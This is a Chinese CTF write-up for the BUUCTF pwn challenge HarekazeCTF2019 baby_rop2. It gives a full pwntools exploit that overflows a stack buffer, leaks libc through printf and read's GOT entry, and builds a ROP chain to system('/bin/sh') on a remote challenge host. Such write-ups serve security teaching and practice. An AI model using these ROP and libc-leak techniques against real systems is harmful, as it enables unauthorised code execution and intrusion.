BUUCTF(pwn)[HarekazeCTF2019]baby_rop2 泄露libc基址,rop,利用gadget

64位,开了nx保护
在这里插入图片描述
运行了一下程序

在这里插入图片描述
在这里插入图片描述

buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为” system(‘/bin/sh’)
利用read函数,去泄露程序的libc基址,然后去获得system和/bin/sh字符串的地址
然后造成溢出,将返回地址覆盖为system(‘/bin/sh’)

from pwn import * 
from LibcSearcher import *
context.log_level='debug'
p=remote('node4.buuoj.cn',29343)
elf=ELF('babyrop2')
pop_rdi= 0x400733
pop_rsi_r15=0x400731
format_str=0x400770
printf_plt=elf.plt['printf']
read_got=elf.got['read']
main_plt = elf.sym['main']
payload= 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)
p.recvuntil("name? ")
p.sendline(payload)
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
sys_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload='a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()

利用过程

一、 泄露libc基址
由于是64位程序,传参的时候需要用到寄存器
printf函数的原型int printf( const char* format , [argument] … );
举个例子–>print(’%s’,‘hello world’)

这里需要两个参数设置rdi,rsi寄存器

ROPgadget --binary babyrop2 |grep "pop rdi"

在这里插入图片描述
rdi_addr=0x400733

ROPgadget --binary babyrop2 |grep "pop rsi"

在这里插入图片描述
没有直接设置rsi寄存器的指令,这边后面还跟着一个r15,无所谓了,不用r15,给他随便设置一下就好了,我这边设置的0
pop_rsi=0x400731

首先要设置第一个参数,就是带有类似于%s这种格式的字符串,我这边是使用的程序里自带的语句
在这里插入图片描述
format_str=0x400770

接收输出的read函数地址

read_addr = u64(p.recvuntil(’\x7f’)[-6:].ljust(8, ‘\x00’))

接收地址基本上都是7个字节的,7f开头,补全8个字节

得到shell后利用find -name flag 去找到flag文件的位置 或者find -name "flag"

在这里插入图片描述
最后读出flag

cat /home/babyrop2/flag
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

半岛铁盒@

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值